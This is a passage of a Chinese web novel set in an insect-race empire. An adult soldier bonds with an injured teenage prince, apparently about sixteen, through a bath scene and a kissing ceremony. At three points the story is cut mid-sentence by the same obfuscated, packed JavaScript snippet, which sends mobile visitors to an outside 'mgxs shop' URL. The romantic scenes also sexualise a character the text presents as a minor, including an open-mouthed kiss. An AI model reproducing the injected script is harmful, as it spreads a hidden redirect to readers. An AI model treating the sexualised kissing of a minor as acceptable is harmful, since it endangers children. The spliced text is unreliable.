l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478958|201638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文森微微眯起眼,身旁,克莱安抚地对他一笑。 少年雄虫脸随之一红,抬头装作认真地看一旁浮雕的红色小花。 克莱能明显感觉,一同在密闭空间里,文森的紧张会加剧,并依旧躲避眼神的碰触。 不过,他会对自己故乡的红梅感兴趣,到是克莱没有料到的。 主卧在二楼中间。 “到了,文森,这边——请。”随即不称呼殿下,但克莱的行礼依旧恭敬,房门是生物性自动感应,在克莱靠近的瞬间向内滑开。 这本是克莱的房间,现在正中间的大床已更换了全新的床单被套,床上放着适合文森身材刚买的睡衣,克莱的衣服和用品早已被收在了结晶芯片小型储物器里,由机器管家转移到三楼的客房。 此时,房内一张茶几上,已经摆好了几样物品—— 一只半透明的虫族食用水杯,杯中的液体泛着淡金色的光,是专门为少年雄虫调配的温和型营养液,文森身上有伤,饮食不能过于油腻或刺激,重在恢复和易吸收。 一小碟切成适口大小的虫蜜果,果肉晶莹,散发着淡淡的甜香,这也是为数不多,让曾经身为人类的克莱觉得可口的食物。 一个新型袖口形状的通讯移动终端,一盏造型可爱的小夜灯。以及,军用的创伤药膏,还有两盘虫族的糖果和零食。 不知道文森还喜不喜欢吃虫麦糖,克莱也让光脑采买了好几种不同的口味,还有一些受少年虫欢迎的零食。 克莱没有进去,只是站在门前,在他看来这里经后就是文森的私虫空间,应该予以尊重。 此刻,他的声音温柔,娓娓道来:“不知道你习惯什么,随便准备了一点。营养液是雄虫专用的,看看合不合口味。水果今天刚送过来,甜度不高,应该不会腻,我自己比较喜欢这种蜜果,但不能吃过量,呵……“ 克莱不由轻轻一笑,接着说道:”袖扣造型的移动终端,听说在年轻雄虫中比较流行,我其实也不太了解,你不喜欢就换……那盏灯,晚上你可以一直开着,它底部有感应通讯,和我的光脑直连,你可以随时叫我。” 幼虫难免会怕黑,但不能直接点出来,应该照顾到即将成年的幼虫足够的自尊。 克莱顿了顿,又补充道: “浴室在右手边,里面的洗护用品也是雄虫专用的——不知道你在皇廷平日用什么牌子,要是用不惯,明天也可以换。浴室地面有点滑,水雾重了,光脚时要小心点。” 浴室内,传来轻轻地流水声。 克莱摇了摇头,他不由想起曾经小时候的姜延业嫌作为贴身太监的自己整天担心这个,担心那个的轻声唠叨不停。 来到虫族,成为杀伐果决的军雌后,他已经很久很久没有露出这样的一面。 而且,这些繁琐的说明,一般都会交由机器管家或是光脑外放来完成就好。 但这种自我熟悉的感觉,让克莱感到亲切,他以前本来就喜欢小孩子,也愿意为小孩子多操些心。 不过,既然曾经的小孩子都会嫌烦,那少年心性的雄虫估计也—— 克莱自嘲地莞尔,还是忍不住接着说道:“文森,要不要先洗个热水澡?洗完了,我帮你上药。” 少年雄虫若有所思,始终沉默着,他小心翼翼地拎着箱子,走进房间。 他每一步都走得格外小心,如同生怕将卧室内的地毯弄脏了一般。 然后,他抬头,看向克莱,迟疑着,低声问道:“我们,是不是……应该,先进行契约烙印的缔结仪式?” 克莱微微一愣。 在虫族圣聂特帝国,一般而言,低阶雄虫的监护者契约缔结仪式,是接吻。 10. 第十章 浴室 监护者契约缔结仪式…… 克莱的目光不由轻轻垂下。 说起来,名义上是监护者,但某种意义也是一种绑定的雌雄配对,需要雌雄双方互换信息素,打下印记。 由于低等级的雄虫精神力不强或是信息素不稳定,且监护关系也不似婚姻关系那般需要交尾、咬腺体、精神海标记等更深入的烙印—— 因此接吻,是较为普遍的监护者契约缔结方式。 通过亲吻,雄虫的精神力可以浅浅进入雌虫的精神海,信息素相融,彼此的颈腺上会出现淡淡的印记,印记一旦形成,在监护契约时限内都会存在,一般的雄虫看到有监护契约印记的雌虫都会离得远远的,不会轻易招惹。 另一方面也意味着,在正式监护契约缔结前,自愿成为监护者的雌虫随时都有反悔的机会。 克莱理解文森的不安,科赛特之前的劝说,也没有避讳他。 但也正是因为不安,才有可能急于一时,做出并不理智的决定。 其实,按克莱的考量,他更愿意先给文森与自己相互熟悉,彼此建立信任的空间,也不是急于一时的形式和契约缔结。 毕竟,成为监护者虽说是情势所逼,但也是他单方面提出的,文森没有选择的机会。 就好似上一世还是孩子的他,当年也是没得选,被卖到了宫里,人家说,挨一刀,以后就有饭吃,这挨一刀也不过是形式上的事,很快就过去了。 似懂非懂的少年,可顾不得那么多,吃饭大过天,能活下去,还管它三七二十一,按了手印就这样迷迷糊糊走完了形式,回头一看,自己痛得快去了半条命,那白纸红印,人家还说呢,当初这当太监的活计,可是你叫着嚷着急吼吼自愿的! 文森也一样,在克莱眼中,他只是一只刚刚被皇廷抛弃,没有安全感的幼虫。 他并不真正的了解契约烙印,信息素互融的意味,也不了解接吻…… 克莱轻轻叹了口气。 “你……不愿意吗?”不过两秒,文森就察觉到了克莱的迟疑,他拎着的那只竹箱没有放下,手指微微发颤,转过身有些艰难地抬眼,却强撑着不肯后退地看向克莱。 受尽了欺辱的皇子,即使被恐惧和不安笼罩,却意外未失那一抹刻在骨子里的气性,不经意间流露,就如同他敢闯皇廷主殿的决绝。 他明明是和姜延业完全不一样的孩子,却总让克莱想起,皇位上同样不肯退让的身影。 克莱对他宽慰地一笑,到底也不过只是一个形式,让孩子安心更重要。 克莱说:“我先去准备一下,稍等片刻。”既然要进行缔结仪式,自己脸上这些灰树脂膏得先处理掉。 被三皇子认出后,克莱便没有必要继续伪装的必要,虫帝既应允自己成为文森的监护者,他就已不在三皇子雌君的备选范围。 “你去哪——”文森眼见克莱行了一个标准的半鞠躬礼后转身,不由上前一步,眼中闪过一丝慌乱。 “我去房间换身衣服,很快就回来。”克莱身后帅气的骨尾温和地卷起,他说话间,已经给光脑下达了命令,亚雌机器管家收到指令后,迅速地来到主卧门前候命。 “抱歉,让管家暂时陪你一会儿。”克莱轻轻抬手,亚雌机器管家在房间门前站定。 “文森阁下,有什么需要,尽管同我说!”亚雌机器管家在屏幕上露出一个电子笑脸。 机器管家在圣聂特帝国并不算流行,大部分贵族更愿意聘用亚雌作为管家,大量雌奴作为奴仆,这样更能彰显身份,但克莱常年在外征战,且他的雌父格特·埃弗洛当年也是用机器管家,辅助养育幼年的他,所以克莱就以此沿用了下来。 但如果文森不习惯机器管家,克莱不由考虑,要不要聘请一位真正的亚雌管家。 文森撇了机器管家一眼,没有说话。 “我也要做准备吗?”他想了想,问道。 克莱只觉得少年雄虫强装镇定的严肃模样有些意料之外的可爱。 “没关系的。”克莱摇了摇头。 克莱很想告诉他,在这里完全不必拘谨,茶几上的虫蜜果和零食可以随便吃,这里的一切都是为他准备的,他想做什么都可以,即使被称谓殿下,但在自己心里—— 他便是殿下。 但建立信任需要过程,克莱明白,不能操之过急。 此时,文森若有所思地抬眼,望向浴室的方向。 “嗯,我等你。”少年雄虫低头又看向自己破旧的长袍,声音又再次低在了尘埃里。 克莱郑重行了一礼后,才转身离开。 他快步走向二楼的一个隔间,这原是他办公的处所,房间内悬浮着几个移动光屏,隔间内带了一个小型洗手间,正好让克莱可以处理掉脸上的伪装伤疤。 光脑的声音传来:“虫主阁下,皇廷嘉奖仪式的官方视频新闻已经在虫网上进行了播放,您要看看吗?” 克莱一边在镜子前迅速地清洁掉灰树脂膏,一边抬手,手指动了动,一个悬浮光屏立马出现在他的身侧。 光屏上出现了虫网视频的新闻播报:“今日午时,皇廷于神圣主殿举行隆重的嘉奖仪式,表彰帝国三大军团于前线表现卓越的五位军雌少将。尊敬的虫帝圣座亲临主殿,三皇子殿下为五位少将授勋……” 新闻画面内,之前三皇子弄错顺序的那部分自然是减掉了,镜头里授勋给克莱时,给的是远景,还时不时把画面切给高高在上的虫帝,毕竟那时三皇子圣尤金的咬牙切齿和不甘心的威胁不能细播,不过这对克莱而言,也是好事,他脸上带伤疤的镜头基本没有。 到了卡林若,画面才慢慢拉进,但转到代表贝希摩军团的科赛特学长,镜头又拉成了超大远景。克莱注意到,画面中远远地,算不上清晰的三皇子圣尤金侧面脸色隐隐有些不对劲,深深皱起眉后退一步,两条尾巴受惊般翘起—— 克莱大致可以猜到,是科赛特的香料贴起效了。 他了然一笑,将自己手心中的虫族香料贴取出收好。 三皇子选雌君一事,学长应该也安全了,这场“秀女”闹剧差不多可以告一段落,不过如果圣尤金选择了卡林若,不仅是皇廷内阁,军团这边的势力格局也很有可能因此发生改变—— 说起来,克莱在被紧急召回主星前,正准备与赛弗伦军团一起,由里昂特元帅统领奔赴前线作战,对抗来犯的沙聂虫族。此次沙聂虫族来势汹汹,原计划是三大军团同时出动。 但由于之前的几次军事行动中,敌对的沙聂虫族反应明显过于迅速,包括这次——沙聂虫族竟然秘密潜入圣聂特隐蔽的矿产核晶资源要地并忽然发起攻击,这里面始终都透出一股消息太过灵通的反常。 里昂特元帅和克莱一样,都敏锐地嗅到了军团里有奸细的气息,而经过一些蛛丝马迹的查询,元帅将怀疑目标的范围锁定在耶梦德军团。 所以这一次出战,里昂特元帅只带了赛弗伦和贝希摩军团,也是想以此试探耶梦德军团内部的反应。 另一方面,和大皇子圣亚瑟早定下婚约的克耶尔少将也隶属耶梦德军团,这让里昂特元帅想要彻查耶梦德会有所顾虑,而在此时卡林若又和三皇子的势力集合,无疑让耶梦德军团内部更加错综复杂…… 悬浮光屏跟随在克莱身侧移动,随着新闻播报进入尾声,收回思绪的克莱已经换上一套崭新且整洁的日常军服——今日觐见虫帝的这一套军服,未免过于庄严肃穆,也因此颇有压迫感,克莱新换的这套日常军服,不失军团礼仪,又稍稍添了一抹松弛感。 曾当做贴身太监的克莱,心思细致,他从各个细节入手,尽力去减少文森的压力和紧张,另一方面,他依旧换了军服而不是日常服饰,也是对与皇子缔结契约仪式的尊重。 但就在克莱转身准备离开隔间时,光脑忽然发过来紧急信号:“虫主阁下,虫主阁下,不好了!管家让您现在赶紧去文森阁下的房间!” 怎么?文森他—— 克莱不由心中一紧,他想到文森之前的伤势,立马大步流星带起风声,迅速走出隔间,直奔文森所在的主卧。 主卧房间的门感应开启,但此刻房间内沙发上却不见文森的身影,他的竹箱也不见了,只有机器管家站在关上门的浴室门前来回踱步,机器光屏上露出一个焦急担忧的表情。 浴室里的水声犹在,同时传来隐隐几声低低吃痛的声音。 “虫主阁下,文森阁下进浴室了,他不让我跟着进去。”亚雌形态的机器管家见到克莱,即刻迎了过来,电子屏幕露出焦急的表情,“我听见几声闷响,不确定情况,所以立马向您汇报!” 克莱来到浴室门边,轻轻敲了敲门道:“文森,是我,克莱,你没事吧?需要帮忙吗?” “唔——嘶,不!不用,我很快就好!”文森的声音传来,压抑着慌张,还有一丝懊恼。 浴室里的水声依旧哗哗地响着,似乎是在试图掩盖什么。 克莱站在浴室门前,指节微微收紧,骨尾垂下。他听出文森声音里那一丝不自然的颤抖。 不是羞赧,而是疼痛。 “文森,”他放缓了语气,军雌少将的声线沉稳却透着关切,“不要逞强,我可以帮你。” 克莱并不介意亲自照顾受伤的文森洗澡,在他眼中,即使是雄虫,文森和人类普通的男孩并没有多大区别。 他前世是太监时,小皇子姜延业沐浴都是他伺候的,来到虫族世界后,大部分时间不是在军团就是在军校的克莱,身边基本都是军雌,加之他也一直没怎么认真听过雌虫生理课,对于雄雌之间并没有特别的意识,其实潜意识里,他始终觉得大家都是男的。 只是太监不算是正常的男人,雌虫也不算是正常的男虫罢了。 “不,真的不用——”里面的声音压低,透出急切,随即传来一阵手忙脚乱的碰撞声,似乎碰倒了什么东西,紧接着是更为清晰的一声压抑的闷哼。 雄虫一直是身娇体弱的,更何况文森常年被欺负,身上还有伤…… 克莱皱起眉,不再犹豫,抬手在门侧的控制面板上按下了紧急解锁指令。 机器管家让到一边,门无声地滑开。 蒸腾的雾气扑面而来,带着克莱常用的沐浴露清淡的草木香,以及一丝若有若无的血腥气。 克莱的目光穿过氤氲水雾,落在浴缸旁—— 文森应该是刚从浴缸内起身跨出,但因伤口的疼痛和慌乱中,踢到了浴缸旁的矮凳,摔在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478959|201638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了浴缸旁。 他背对着克莱,半边身子挂在浴缸边,右臂以一种不自然的角度悬垂着,血混合着水珠顺着手臂流下,地面被染红了一片。 听到门开的声音,文森的背猛地僵住。 他下意识想要起身,却牵动了伤口,疼得倒吸一口凉气。 克莱皱着眉,从一旁衣架上拿过一个大浴巾大步走过去,半蹲下身。 走近时他才更加看清——文森肩背上,手臂上,此时此刻裸-露在外的肌肤上,全是一道道触目惊心的伤痕,新伤叠着旧伤,数不清的伤痕,绝非一两日所成,他长年累月过得是怎样的日子便可想而知。 背后眼下还有一大片明显青紫的淤伤,应该和手臂上正在流血的伤口一样,是今天的新伤,边缘处甚至渗着淡淡的血丝。 克莱心里狠狠地抽痛,他想起三皇子说不久前曾折断过文森的臂膀,很有可能在过往的岁月里,这个可怜的孩子曾遭遇过无数次这样的伤痛。 而背部再往下,少年雄虫尾部突起,按常理说他应该也有虫尾才对,但那里似乎是被特殊处理过,只留下短短的一截形状略显怪异的尾根…… 尾根往上的部位,似乎还有一个圆形的印记,如同一个古老的图腾印章一般。 察觉到门开后,摔挂在浴池边的文森似乎很是不愿在克莱面前暴露自己的狼狈,他强撑着想要爬起来,但浴室地面上的血水湿滑,他尝试了几次,又摔了几下。 可倔强地少年雄虫执拗地不肯放弃,不停地想靠自己起身—— 伤口裂地更深,血涌了出来,他却死死咬紧牙,不肯在克莱面前叫一声疼。 克莱心疼不已,他根本来不及去深究什么怪异的尾根和奇怪的印记,上前用浴巾温柔地从背后将文森包裹,并小心翼翼地不碰触到他手臂正在渗血的伤口。 “别动——很疼吧?”克莱的声音很轻,却让文森的肩膀微微一缩。 文森低着头,湿漉漉的红色卷发贴在脸侧,水滴顺着下巴滑落。 他咬着下唇,一把自行裹好浴巾,半晌才倔强地闷声道:“……我自己,能处理好。” 克莱没有立刻说话,他又伸手拿过一旁的干毛巾,揉了揉文森的湿发。 他的动作出乎意料地轻柔,与方才破门而入的果决判若两人。 “你的伤不能碰水。”克莱放下毛巾后,又用指尖避开背部淤青区域,隔着浴巾轻轻覆盖文森流血的肩膀,那片皮肤下有着不正常的温热,是炎症反应。 文森吃痛,几乎下意识地转头,看向克莱的那一刻,他忽然一下愣住了。 克莱的脸近在咫尺。 少年雄虫碧绿的眼眸里,印出一张绝美的面容——轻轻上挑,含着睿智又温和的一双黑色眼眸,眼底全是对他的关切,挺拔好看的鼻梁,漂亮又带着一抹坚毅的唇线,完美却不失棱角的轮廓,额间的虫纹透出一股正直和庄严,让本来过于的美丽面容衬出飒爽英气和独属于沙场的果敢坚毅。 文森瞪大碧绿的眼眸,愣了几秒,脱口而出道:“你……的脸。” 克莱的手顿住,意识到了什么,可能需要解释一下之前自己的伪装,这就说来话长,不过文森之前在走廊时也有过一面之缘,要解释不如实话实说,就是不知会不会教坏小朋友说谎—— 克莱思索着抬眼,却看见文森的脸随之泛起一片红晕。 文森微微颤抖的睫毛,挂着水珠。 克莱感觉到,这是文森第一次抬眸,认真地看向自己,少年雄虫的目光由毫不掩饰的震惊到控制不住的热烈而明亮,难得的直接又坦诚。 但下一刻,文森迅速收回目光,执拗地将泛红的脸庞偏向一边,死死咬住了唇,将身上的浴巾紧了又紧,仿佛是想将自己全部都缩进浴巾里,特别是满是伤痕的背部。 他开始更剧烈地挣扎,想从克莱身旁逃离。 血染红上了浴巾。 “文森,别这样——”克莱的力道比文森大得多,而且他精于近身搏斗和各种武道之术,身弱的雄虫根本不是军雌的对手,制服一只小雄虫完全不费吹灰之力,但克莱不想弄伤他,也不忍心用任何武道的手段来对付他。 “我说了,我自己会做好……嘶,准备的……契约缔结仪式。”文森的声音明明已经开始痛得发颤,但心心念念不忘的,还是监护契约仪式。 这个孩子,应该是害怕克莱的帮助会暴露更多自己的伤痕招致嫌弃,才迫切地想用独自完成洗澡这件简单的小事,来守住自己仅有的自尊。 努力的张牙舞爪,不过是虚张声势罢了。 他到底,只是个没有安全感的孩子。 不就是一个仪式吗?如果一个象征性的吻作为仪式,可以让他得到安抚—— 克莱不能放任他如此,这样在浴室里更加容易感染风寒,是的,虫族也有风寒,他们称为虫感冒,而且他现在伤口还在发炎。 克莱一边让光脑调高浴室和房间的温度,一边骨尾轻轻一甩,找准时机,伸手揽住还在试图反抗的文森的腰侧,以一股强劲又利落的力道将包裹着浴巾的他,带到自己身边—— 克莱的声音很轻:“抱歉,得罪了。” 然后,侧头,轻轻地,碰了碰他的唇。 11. 第十一章 接吻 文森在这一刻停止了挣扎,他眨了眨碧悠悠的眼眸,望着克莱,红色的卷发微微翘起一撮。 浴室里忽然安静了下来,只剩下两只虫的呼吸声。 少年雄虫的眼睛格外明亮,又那般懵懂,到让克莱有些不自然地轻轻移开了目光。 但转而克莱就抬眸,对着文森温和一笑—— “这就是监护缔结契约的仪式,我们需要交换信息素。”虽然对于两辈子感情都一片空白的克莱而言,刚刚实际上也算是他的初吻,但此时此刻,他更需要担当好引导者的角色。 一方面,他要让文森安心,自己并没有故意找借口逃避契约仪式,另一方面,他不想吓到还没有步入成年期的幼虫。 不过此时文森的神色,明显不像是被吓到。 少年雄虫两边面颊上的黑斑晕染出淡红,透过湿润的水汽,便看得不是那么分明,他轻声道:“只是……这样?” 这样碰触过于轻柔,显然过浅不够,契约正式缔结,需要信息素相融,克莱和文森的身上才会随之出现契约标记。 克莱轻轻摇了摇头,虽然不足于完成仪式,但却足够让倔强的少年雄虫暂时听话—— 文森还在流血,必须尽快处理伤口。 克莱将文森整只虫连着浴巾抱了起来,他小心翼翼避开文森正在渗血的伤口,让看起来就过于瘦弱的少年雄虫稳稳地靠在自己的胸前。 “但在完成接下来的仪式前,你不许再乱动,还有——先穿上睡衣,然后乖乖上药。”克莱是温柔的,但却也是不容拒绝地坚定——对待小孩,他有经验。 “……好。”文森顿了顿,绿眼睛垂下,才终于松了口,他难得顺从地靠在克莱怀中,声音带起了一丝连他自己都没察觉的依赖。 克莱稳稳抱起他,向浴室外走去。 经过门口时,机器管家已经体贴地备好了干燥的睡衣和拖鞋,光屏上之前焦急的表情换成了如释重负的微笑。 “把浴室收拾一下。”克莱吩咐了一句,机器管家得令进了浴室。 克莱将怀中的雄虫轻轻放在床上,如同一件易碎的瑰宝,然后小心翼翼将文森身上染血的浴巾松开。 文森随之打了个喷嚏,克莱不由眉心一动,随即熟练又利落的给他穿上了床边准备好的睡衣。 这孩子本来就受伤发炎,若是患上虫感冒,肯定会更加难受。 这一次,文森没有再执拗地反抗,他听话地配合克莱,穿上睡衣,睡衣很宽松,是最新款的居家样式——克莱特意让光脑按照十六岁左右少年身形雄虫进行的购置,现在看来确实更合身。 上药时,少年雄虫早已做好准备,咬紧牙关,他显然不愿在克莱面前出声喊痛。 克莱留意着少年雄虫神色细微的变化,他会一些上药的手法,这也属于小太监的必修技能之一,不一会儿,文森手臂的伤口就止住了血,并进行了几乎可以媲美亚雌虫医专业手法的包扎,而且他背部淤青也进行了上药处理。 这个过程中,文森咬紧的牙慢慢松开,神色也渐渐不再紧绷—— 因为克莱上药,并没有预料中的剧痛,只有微微的痛和淡淡的痒。 克莱的手法温柔又有技巧,不像皇廷那些粗暴对待他的亚雌侍从们…… 这样被用心对待,是第一次。 今天,确实有太过的第一次——刚才的,也是第一次,那个轻轻的碰触。 实际上,在皇廷内生活多年,习惯皇廷每一个阴暗角落的四皇子,见过太多比接吻更激烈更直接的——无法形容又活色生香的场景…… 少年雄虫看着正低头给他上药的克莱,碧绿的眼眸里极快闪过一抹别样的情绪。 此时,克莱的注意力全在文森的伤势上,帮文森穿上睡衣时,他顺带检查了文森的全身。常年在军队前线,虽然不是军医,但处理各种伤势,克莱经验在线。 所幸,文森没有其他的新伤,只是他尾根部形状确实有些奇怪,但不影响目前雄虫的身体状况。流血的伤口发炎不算太严重,军用药膏是只有前线军雌才有权限购入的强效药,可以应对大部分创伤炎症,应该还不需要到请亚雌家庭医生的程度。 上完药,克莱还未将药膏收起,便听见一直安静坐在床边的少年雄虫轻声开口道:“仪式……可以继续了吗?” 克莱抬眸,顿了顿,接着便微微一笑,对他说道:“过来吧。” 克莱早已迅速调整好心态,于他,这也只是一个仪式,更重要的是,让文森安心。 克莱伸出手,如同一个无声的邀请,他始终克制而有礼,文森的目光落在那只手上,停了两秒,然后他把自己的手放了上去。 少年雄虫的手指,骨节细瘦,克莱一只手就能完全握住,他还是太过瘦弱了,经后自己一定会监督他好好吃饭。他轻轻合拢掌心,将那只手包裹在自己的温度里,拇指无意间摩挲过文森的指背。 文森的睫毛颤了一下。 克莱微微用力,将文森朝自己的方向带了过来。文森顺着那股力道往前挪了半寸,膝盖碰到了克莱的腿侧,又像被烫到一样微微缩了一下,但没有退开。 两只虫之间的距离,瞬间贴近,空气里的气息似乎变得不一样了。 克莱能闻到文森身上沐浴露的味道,和他自然是同一款。此刻混合着少年身上渐渐涌起的说不清道不明的气息——那应该是雄虫的信息素,一开始很淡,像是被压制了很久,只在体温升高时才泄露出一点点。 若有若无,却无法忽视。 低等级的雄虫往往无法很好的控制信息素,克莱同步也释放出自己的信息素,他的信息素并不强烈,有一股青草淡淡的气息。 “接下来的仪式——”克莱的声音放得很轻,像是在哄一只随时会受惊的幼崽,“需要更多接触。” 文森没有说话,但他的身体微微前倾了一度。 克莱抬起另一只手,指尖悬停在文森下颌的侧方,没有落下。 “可以吗?”他问。 克莱在等待殿下真正的应允。克莱的手指微微绷着,骨节泛白,这个等待的姿态,是他一如既然慎重和温柔的顾虑,还有一丝不易察觉的紧张。 文森抬头望向他的眼睛,那双碧绿的眼眸此刻格外清澈,像克莱前世见过行宫里初春融雪后的一池盈盈汪汪的湖水。 文森慢慢地点了一下头,很轻,但没有犹豫。 克莱的指尖落了下去——他的指腹贴上文森下颌侧方的皮肤,沿着颈线缓缓下移,最终轻轻捏住他的下巴。 文森的呼吸骤然变浅了,他的目光垂下,一种不自信地躲闪,他知道克莱正在看自己的脸。 那脸上的黑斑,该死的黑斑! 但紧接着,他感觉到自己的唇被一片柔软温和的东西轻轻贴了上来。 而这一次,克莱不是蜻蜓点水的“碰了碰”。他的唇落在文森唇角的位置,温热的,带着一个成年军雌略显强势又沉稳的温度。 文森闭上了眼睛。 他感觉到克莱的气息扑面笼罩而来,像缓缓的皇廷内一滩小型模拟光影潮汐一样,慢慢地,稳稳地漫过来。 克莱的气息似乎包裹着星际战场上激烈无声的硝烟味,生物星舰上争夺的冷冽,还有克莱身上特有的,让文森莫名觉得安心的淡淡青草香。 这是克莱的信息素—— 作为雌虫,从未发过情的克莱信息素一直很淡,在近距离接触时才变得清晰起来,像一层薄雾笼罩在文森周围。 一直温柔地包裹,文森能感觉到那种气息顺着呼吸进入体内,带着微微的暖意,沿着他的血管向四肢蔓延。 他不由贴近克莱的怀里,手指不自觉地收紧了,攥住了克莱军服的衣角。 克莱没有进一步的动作,他只是把唇贴在文森的唇角,维持着那个若有若无的接触,像是在等待什么。 等待文森适应,不再颤抖,等待着他情绪的平稳。 然后,克莱微微偏了一个角度——这一次,他更准确地覆上了文森的唇。 四片唇瓣贴合在一起的瞬间,文森发出一声极轻的“嗯……嗯唔……” 克莱没有深-入,他只是维持着这个贴合,将自己信息素通过唇瓣的接触,一点一点渡过去。那些看不见的的信号,像是最细密的丝线缓缓传导过去。 一般而言,信息素相融,会由雄虫为主导,最直接的方式,是他们侵入雌虫的精神海,但作为文森的监护者,克莱站在了引导者的位置。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478960|201638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年雄虫的身体微微僵了一下,然后慢慢地软了下来。 他攥着克莱衣角的手指松开了,但又没有完全松开,指节松开了一点力道,掌心却还贴着那片布料,像是在确认克莱没有离开。 他尝到了克莱的味道。 青草,淡淡的香,缓缓渗出丝丝的甜——克莱的信息素不浓烈,却几乎是所有虫族不会抗拒的味道。 克莱感觉到文森的唇开始微微发烫。那是信息素交换带来的生理反应,意味着文森的身体正在接受他的信息素,正在回应。 他缓缓退开,拉开咫尺的距离。 两只虫之间牵出一道极细的,几乎看不见的银丝,窗外的阳光透过纱窗罩了进来,光影一闪,随即断裂。 文森没有睁眼,他的面颊泛着淡淡的红,黑斑像是被那抹红晕浸染了边缘,变得柔和起来,从皇廷离开直到现在一直紧绷的情绪终于消散。此时,他的呼吸有些急促,胸口微微起伏着,攥着克莱衣角的手还没有松开。 少年雄虫察觉到唇边温柔地离开,他随即睁开眼睛。碧绿的眼眸格外清亮,他看着近在咫尺的克莱,目光有些涣散,像是还没有从刚才的信息素交换中完全回过神来。 然后他的视线慢慢聚焦,落在克莱的唇上。 “……这就是……信息素交换?仪式,完成了吗?”他的声音有些哑,带着一种少年特有的,介于清亮和低沉之间的质感。 克莱轻轻摇了摇头,现在他可能还需要更多文森的信息素,应该让孩子先缓一缓。 “还没有结束。”他说,声音更加透出安抚的意味,“印记还没有形成。需要再久一点。” 他说这话的时候,拇指也在轻轻安抚地摩挲着文森的指背,他是他前世带孩子时残留下的习惯,他甚至没有意识到自己在做这个动作。 文森低下头,看向两人交握的手。 克莱的手很大,完全包裹着他的手。他能感觉到克莱掌心的温度,能感觉到薄茧蹭过自己手背时微微粗糙的触感。 他忽然抬起另一只手,指尖碰了碰自己的唇,那里还残留着克莱的温度。 “可以……再久一点的。”文森仿佛自言自语般,然后他抬眸,他的手指从克莱的手中滑走,紧接着很自然地抬起双臂,环住了克莱的脖颈,扬起头。 “文森,小心伤口——唔”,克莱微微皱眉,文森的手臂还有伤,但下一刻他就说不出话来。 文森的吻,要直接而热烈得多。 他轻轻咬住了克莱的下唇,吮吸,浅浅的试探过后,感受到军雌微微错鄂后的纵容,于是不放过任何一个间隙,顺利闯入,毫无章法,横冲直撞。 “嗯……”克莱没有料到文森忽然会吻了上来,比起克莱克制又温柔的碰触,文森似乎更清楚接吻的方式,但少年雄虫的动作略显笨拙,舌尖的触感大胆而青涩。 但只要克莱微微抵触,他就像个犯了错的孩子,立马缩了回去——但很快又换另一个角度,接着试探。 也就在这个时候,忽然间,克莱感觉到一股猛烈得信息素,包裹着异常强大的精神力侵入向他涌来,直奔他的精神海—— 无法预测的强大,裹挟着某种不受控制的疯狂。 他来不及反应做出防范,可下一秒,那如同排山倒海般的信息素潮和无比强大的精神力又万般诡异地消失了——没有一丝痕迹。 克莱只觉得浑身在某一个瞬间跌入到了一片深不见底的浩瀚宇宙,自己的意识在那一刻中断,但下一秒他又回到了现实。 这到底是怎么回事?!这股强大又疯狂的精神力……甚至超过了他那位号称在整个帝国精神力都无虫可能匹敌的雄父—— 现实中,文森保持着环住他脖颈的姿势,紧紧贴在他胸前,结束了那个莽撞的吻,他将头靠在克莱的颈侧,轻轻喘息着。 紧接着,文森好似注意到了什么,他抬起指尖,在克莱颈侧停留了一瞬,一枚淡金色的纹路正在浮现。 克莱一把抓住了文森的手,他的颈侧是腺体所在,适才忽然出现异样的信息素侵入反应,让他下意识地警觉。 “怎么了……”文森似乎是以为自己刚才的主动,让克莱不快,少年雄虫的声音立马怯生生的。 12. 第十二章 解释 克莱微微回神,原本因警觉而在身后翘起的骨尾垂下,手上的力道瞬间转为柔和。 “有点痒而已。”克莱如常的安抚微笑,让眼中渐渐聚满不安的少年雄虫稍稍松了口气,但碧绿的眼眸还有些惴惴地。 克莱轻轻松开了文森的手,目光落在少年的颈部,那里同样一枚淡金色的契约纹路正在浮现,他说:“别担心,契约已经成立。” 话音刚落,克莱感觉怀中的雄虫轻轻舒了口气。 但文森并没有起身,而是像被什么东西抽走了力气一般——他的手臂还环在克莱颈间,却软绵绵地使不上劲。 他轻轻应一声“好”,打了一个哈欠,带起浓浓的倦意。 克莱立刻察觉到——怀中的少年忽然整个虫的重量都压了过来,原本一直努力挺直的脊背微微弯了下去,脑袋安心地靠在他肩窝里,红色卷发蹭着他的颈侧,带着沐浴露的清香和丝丝别样的,应该是信息素爆发后残留的余韵。 “ 文森?”克莱的声音轻柔,任由他靠着。 但文森的回应轻不可闻,克莱不由温柔地揽住他,伸手扶住他的肩膀,稍稍拉开一点距离,低头看去—— 少年雄虫的眼皮半垂着,碧绿的眼眸像是蒙了一层薄雾。他的面色比刚才更苍白了些,唇色也淡了下去,只有几枚黑斑在苍白的脸上显得格外分明。 想来今日这连接的波折,文森原本身上就有伤,加之缔结契约耗费了信息素,所以才会如此疲惫——至于适才出现的诡异又强大的精神力,虽然克莱并不觉得是自己的错觉,但他暂且不想在疲惫的少年身上深究。 “……困”文森终于发出了一个音节,但还在努力试图睁开眼睛,他依旧是倔强的,但不再以防备的态度对抗克莱。 